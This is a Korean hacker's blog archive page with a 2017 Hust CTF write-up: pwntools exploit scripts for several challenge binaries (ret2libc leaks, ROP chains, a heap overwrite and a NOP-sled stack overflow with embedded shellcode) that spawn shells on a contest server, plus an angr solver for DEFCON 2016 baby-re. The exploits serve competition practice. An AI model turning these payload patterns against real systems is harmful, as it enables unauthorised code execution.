$bash

'2017/05'에 해당되는 글 32건

  1. 2017 Hust CTF write up
  2. pwntool comand token args
  3. ndc17 fp_in_modern_cpp
  4. Cpp string
  5. 빅오? 복잡도 분석?
  6. Cpp STL 정리(미완성)
  7. Cpp 기초 (A+B 응용화)
  8. defcon2016 - [rev]baby-re
  9. Angr 설치
  10. Forensic ?

2017 Hust CTF write up

0x0400 : Wargame/0x0410 : CTF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import sys
elf = ELF("./attackme")
#libc = ELF("libc-2.23.so")
pop3ret = 0x80485f9
pop2ret = 0x80485fa
 
if sys.argv[1== "1":
    s = remote("223.194.105.182"37100)
elif sys.argv[1== "0":
    s = process("./attackme")
 
def leak():
    s.recvuntil("Press any thing\n")
    
    pay  = "A"*104
    pay += p32(elf.plt['write'])
    pay += p32(pop3ret)
    pay += p32(1)
    pay += p32(elf.got['write'])
    pay += p32(4)
 
    pay += p32(0x0804852B)
    pay += p32(0)
 
    s.sendline(pay)
 
    s.recv(113)
    write_add = u32(s.recv(4))
    s.recvuntil("Press any thing\n")
    sh_add = write_add + 0x85E3B
    system_add = write_add - 0x9AC50
    log.info("write_add  : "+hex(write_add))
    log.info("sh_add   : "+hex(sh_add))
    log.info("system_add : "+hex(system_add))
 
    pay1  = "A"*104
    pay1 += p32(system_add)
    pay1 += p32(0)
    pay1 += p32(sh_add)
 
    s.sendline(pay1)
    s.interactive()
 
if __name__ == '__main__':
    leak()
 
 
cs


pwnable - RR2L(50p)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import sys
 
if sys.argv[1== "1":
    s = remote("223.194.105.182"22901)
elif sys.argv[1== "0":
    s = process("./wind")
 
def start():
    log.info("Wind Start func!")
    #s.recv(1024)
    s.recvuntil("[+] INPUT: ")
 
    pay  = "A"*32
    pay += p32(0x080487F9)
 
    s.sendline(pay)
 
if __name__ == '__main__':
    start()
    s.interactive()
 
cs


pwnable - Wind(100p)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
#s = process('./challenge')
= remote('223.194.105.182'29001)
elf = ELF("./challenge")
payload  = 'A'*200
#payload += p32(0x08048980)
s.sendline(payload)
 
s.recv(1024)
pay1  = "A"*204
pay1 += p32(0)
pay1 += p32(0x00020f31)
pay1 += "B"*192
pay1 += p32(0x08048986)
s.sendline(pay1)
s.interactive()
 
 
cs


pwnable - heap(100p)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import time
= remote('223.194.105.182'41001)
s.recv(1024)
 
payload = 'A'*24 + p32(0x080483e3+ p32(0x0804a00c)
s.sendline(payload)
 
leaked = u32(s.recv(4)) - 0x18540
system_libc = leaked + 0x3ada0
binsh = leaked + 0x15b82b
 
payload_1 = 'A'*24 + p32(0x08048296)*4 + p32(system_libc) + 'AAAA' + p32(binsh)
s.sendline(payload_1)
 
s.interactive()
cs


pwnable - ohmybof(100p)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
#s = process("./earth")
= remote("223.194.105.182"22900)
 
shellcode = "\xda\xd4\xba\x11\xf2\x16\x5f\xd9\x74\x24\xf4\x5e\x33\xc9\xb1\x0d\x31\x56\x18\x03\x56\x18\x83\xee\xed\x10\xe3\x35\x06\x8d\x95\x98\x7e\x45\x8b\x7f\xf7\x72\xbb\x50\x74\x15\x3c\xc7\x55\x87\x55\x79\x20\xa4\xf4\x6d\x3c\x2b\xf9\x6d\x6f\x49\x90\x03\x40\xee\x03\xa8\xbe\x96\xaf\x31\xd9\x56\x67\xe1\xac\xb6\x4a\x85\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
 
payload = "A" * 0x6c
payload += "BBBB"
payload += p32(0xbfffec3c + 200)
payload += "\x90" * 2000
payload += shellcode
 
s.sendline(payload)
s.interactive()
 
 
cs


pwnable - earth(100p)




pwnable - shellwedance(300p)

// 그냥 인젝션 문제


misc 한문제를 또 봤는데 그건 그냥 import OS 되서 패스,,,,샌드박스 문제인데 필터링이 없다.


200점 짜리 ROP인가..무튼 너무 파일이 더러웠따,,,,공부하다가 stripped 라는 것도 알게되서 한번 관련 문제 리버싱인거 같지만 봐야될듯.

'0x0400 : Wargame > 0x0410 : CTF' 카테고리의 다른 글

samsung ctf - write up  (0) 2017.07.10
Security Fest 2017 CTF  (0) 2017.06.06
defcon2016 - [rev]baby-re  (0) 2017.05.21
RCTF - [misc]intoU  (0) 2017.05.21
DEFCON_2017 - SmashMe  (0) 2017.05.08

pwntool comand token args

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

ndc17 fp_in_modern_cpp

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Cpp string

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

빅오? 복잡도 분석?

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Cpp STL 정리(미완성)

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Cpp 기초 (A+B 응용화)

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

defcon2016 - [rev]baby-re

0x0400 : Wargame/0x0410 : CTF
1
2
3
4
5
6
7
8
import angr
 
proj = angr.Project("./baby-re", load_options={'auto_load_libs':False})
path_group = proj.factory.path_group(threads=4)
path_group.explore(find=0x40294b, avoid=0x402941)
print path_group.found[0].state.posix.dumps(1)
 
 
cs



path_group.explore(find=0x40294b, avoid=0x402941) 는 0x40294b로 가는대 0x402941 여기를 피해 가라는 의미이다.



'0x0400 : Wargame > 0x0410 : CTF' 카테고리의 다른 글

Security Fest 2017 CTF  (0) 2017.06.06
2017 Hust CTF write up  (0) 2017.05.28
RCTF - [misc]intoU  (0) 2017.05.21
DEFCON_2017 - SmashMe  (0) 2017.05.08
TAMU CTF - pwnable(1~4)  (0) 2017.04.23

Angr 설치

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Forensic ?

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.